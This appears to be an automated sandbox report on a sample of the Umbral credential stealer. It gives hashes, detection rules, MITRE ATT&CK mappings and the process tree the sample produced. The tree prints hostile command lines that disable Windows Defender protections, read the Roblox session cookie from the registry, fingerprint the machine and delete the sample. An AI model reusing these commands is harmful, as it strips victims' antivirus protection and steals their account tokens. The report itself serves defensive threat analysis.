umbral | bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
12-06-2024 03:42

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General

Target

bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe
Size

234KB
MD5

65e7b5e4dd86e66cddd279dced3c31e5
SHA1

5b1836bd0519a866848d5867b42c9182066109bf
SHA256

bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e
SHA512

ccb978eddac4b06c992db66db63e08964f94181fb068c76281d5c6e13e69b85723a89780110f3a5fb7570a79ca24dff8d78270f13f1faa419a98715c1fbd3f14
SSDEEP

6144:tloZM9rIkd8g+EtXHkv/iD4WeANbYMTiqL9Y0hnT+Y8e1mki:voZOL+EP8WeANbYMTiqL9Y0hFI

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2008-1-0x0000000001100000-0x0000000001140000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Detects executables attemping to enumerate video devices using WMI 1 IoCs

resource	yara_rule
behavioral1/memory/2008-1-0x0000000001100000-0x0000000001140000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice

Detects executables containing possible sandbox analysis VM names 1 IoCs

resource	yara_rule
behavioral1/memory/2008-1-0x0000000001100000-0x0000000001140000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxComputerNames

Detects executables containing possible sandbox analysis VM usernames 1 IoCs

resource	yara_rule
behavioral1/memory/2008-1-0x0000000001100000-0x0000000001140000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxUserNames

Detects executables containing possible sandbox system UUIDs 1 IoCs

resource	yara_rule
behavioral1/memory/2008-1-0x0000000001100000-0x0000000001140000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxSystemUUIDs

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2832	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe

Deletes itself 1 IoCs

pid	Process
2128	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2668	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2944	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2832	powershell.exe
3004	powershell.exe
2512	powershell.exe
2600	powershell.exe
1532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeIncreaseQuotaPrivilege	1240	wmic.exe
Token: SeSecurityPrivilege	1240	wmic.exe
Token: SeTakeOwnershipPrivilege	1240	wmic.exe
Token: SeLoadDriverPrivilege	1240	wmic.exe
Token: SeSystemProfilePrivilege	1240	wmic.exe
Token: SeSystemtimePrivilege	1240	wmic.exe
Token: SeProfSingleProcessPrivilege	1240	wmic.exe
Token: SeIncBasePriorityPrivilege	1240	wmic.exe
Token: SeCreatePagefilePrivilege	1240	wmic.exe
Token: SeBackupPrivilege	1240	wmic.exe
Token: SeRestorePrivilege	1240	wmic.exe
Token: SeShutdownPrivilege	1240	wmic.exe
Token: SeDebugPrivilege	1240	wmic.exe
Token: SeSystemEnvironmentPrivilege	1240	wmic.exe
Token: SeRemoteShutdownPrivilege	1240	wmic.exe
Token: SeUndockPrivilege	1240	wmic.exe
Token: SeManageVolumePrivilege	1240	wmic.exe
Token: 33	1240	wmic.exe
Token: 34	1240	wmic.exe
Token: 35	1240	wmic.exe
Token: SeIncreaseQuotaPrivilege	1240	wmic.exe
Token: SeSecurityPrivilege	1240	wmic.exe
Token: SeTakeOwnershipPrivilege	1240	wmic.exe
Token: SeLoadDriverPrivilege	1240	wmic.exe
Token: SeSystemProfilePrivilege	1240	wmic.exe
Token: SeSystemtimePrivilege	1240	wmic.exe
Token: SeProfSingleProcessPrivilege	1240	wmic.exe
Token: SeIncBasePriorityPrivilege	1240	wmic.exe
Token: SeCreatePagefilePrivilege	1240	wmic.exe
Token: SeBackupPrivilege	1240	wmic.exe
Token: SeRestorePrivilege	1240	wmic.exe
Token: SeShutdownPrivilege	1240	wmic.exe
Token: SeDebugPrivilege	1240	wmic.exe
Token: SeSystemEnvironmentPrivilege	1240	wmic.exe
Token: SeRemoteShutdownPrivilege	1240	wmic.exe
Token: SeUndockPrivilege	1240	wmic.exe
Token: SeManageVolumePrivilege	1240	wmic.exe
Token: 33	1240	wmic.exe
Token: 34	1240	wmic.exe
Token: 35	1240	wmic.exe
Token: SeIncreaseQuotaPrivilege	1436	wmic.exe
Token: SeSecurityPrivilege	1436	wmic.exe
Token: SeTakeOwnershipPrivilege	1436	wmic.exe
Token: SeLoadDriverPrivilege	1436	wmic.exe
Token: SeSystemProfilePrivilege	1436	wmic.exe
Token: SeSystemtimePrivilege	1436	wmic.exe
Token: SeProfSingleProcessPrivilege	1436	wmic.exe
Token: SeIncBasePriorityPrivilege	1436	wmic.exe
Token: SeCreatePagefilePrivilege	1436	wmic.exe
Token: SeBackupPrivilege	1436	wmic.exe
Token: SeRestorePrivilege	1436	wmic.exe
Token: SeShutdownPrivilege	1436	wmic.exe
Token: SeDebugPrivilege	1436	wmic.exe
Token: SeSystemEnvironmentPrivilege	1436	wmic.exe
Token: SeRemoteShutdownPrivilege	1436	wmic.exe
Token: SeUndockPrivilege	1436	wmic.exe
Token: SeManageVolumePrivilege	1436	wmic.exe
Token: 33	1436	wmic.exe
Token: 34	1436	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 2812	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	28
PID 2008 wrote to memory of 2812	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	28
PID 2008 wrote to memory of 2812	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	28
PID 2008 wrote to memory of 2832	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	30
PID 2008 wrote to memory of 2832	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	30
PID 2008 wrote to memory of 2832	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	30
PID 2008 wrote to memory of 3004	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	32
PID 2008 wrote to memory of 3004	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	32
PID 2008 wrote to memory of 3004	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	32
PID 2008 wrote to memory of 2512	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	34
PID 2008 wrote to memory of 2512	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	34
PID 2008 wrote to memory of 2512	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	34
PID 2008 wrote to memory of 2600	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	36
PID 2008 wrote to memory of 2600	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	36
PID 2008 wrote to memory of 2600	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	36
PID 2008 wrote to memory of 1240	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	38
PID 2008 wrote to memory of 1240	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	38
PID 2008 wrote to memory of 1240	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	38
PID 2008 wrote to memory of 1436	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	41
PID 2008 wrote to memory of 1436	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	41
PID 2008 wrote to memory of 1436	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	41
PID 2008 wrote to memory of 1644	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	43
PID 2008 wrote to memory of 1644	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	43
PID 2008 wrote to memory of 1644	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	43
PID 2008 wrote to memory of 1532	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	45
PID 2008 wrote to memory of 1532	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	45
PID 2008 wrote to memory of 1532	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	45
PID 2008 wrote to memory of 2668	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	49
PID 2008 wrote to memory of 2668	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	49
PID 2008 wrote to memory of 2668	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	49
PID 2008 wrote to memory of 2128	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	51
PID 2008 wrote to memory of 2128	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	51
PID 2008 wrote to memory of 2128	2008	bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe	51
PID 2128 wrote to memory of 2944	2128	cmd.exe	53
PID 2128 wrote to memory of 2944	2128	cmd.exe	53
PID 2128 wrote to memory of 2944	2128	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2812	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe
"C:\Users\Admin\AppData\Local\Temp\bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe"
  2⤵
  - Views/modifies file attributes
  PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1240
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2668
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bdbc624e4c40d85f3927d8dc261ee069982728471bde7a245504c3e903f1234e.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
be13d8e9b515dba1efd3d514fb7944b5

SHA1
ce6b9a8519122e200e6554d3c490ab7c08bd7ba3

SHA256
b44fed8ee7c364591171e1914deb94e149308c32e73f34e7e5ad4ced76293770

SHA512
a6e401bb583d0c4b3ba4caae4da91c5a17528da678d9fbf7212b6a3944b50e439fd1f0e41d5a857fd42814b29d242b0e0e1a352630af9fa0c19cef46f2b5d219

Download Submit
memory/1532-52-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2008-1-0x0000000001100000-0x0000000001140000-memory.dmp

Filesize
256KB

Download
memory/2008-2-0x000007FEF6170000-0x000007FEF6B5C000-memory.dmp

Filesize
9.9MB

Download
memory/2008-56-0x000007FEF6170000-0x000007FEF6B5C000-memory.dmp

Filesize
9.9MB

Download
memory/2008-0-0x000007FEF6173000-0x000007FEF6174000-memory.dmp

Filesize
4KB

Download
memory/2832-8-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/2832-12-0x000007FEEDB70000-0x000007FEEE50D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-13-0x000007FEEDB70000-0x000007FEEE50D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-14-0x000007FEEDB70000-0x000007FEEE50D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-15-0x000007FEEDB70000-0x000007FEEE50D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-11-0x000007FEEDB70000-0x000007FEEE50D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-10-0x000007FEEDB70000-0x000007FEEE50D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-9-0x0000000002620000-0x0000000002628000-memory.dmp

Filesize
32KB

Download
memory/2832-7-0x000007FEEDE2E000-0x000007FEEDE2F000-memory.dmp

Filesize
4KB

Download
memory/3004-21-0x000000001B450000-0x000000001B732000-memory.dmp

Filesize
2.9MB

Download
memory/3004-22-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download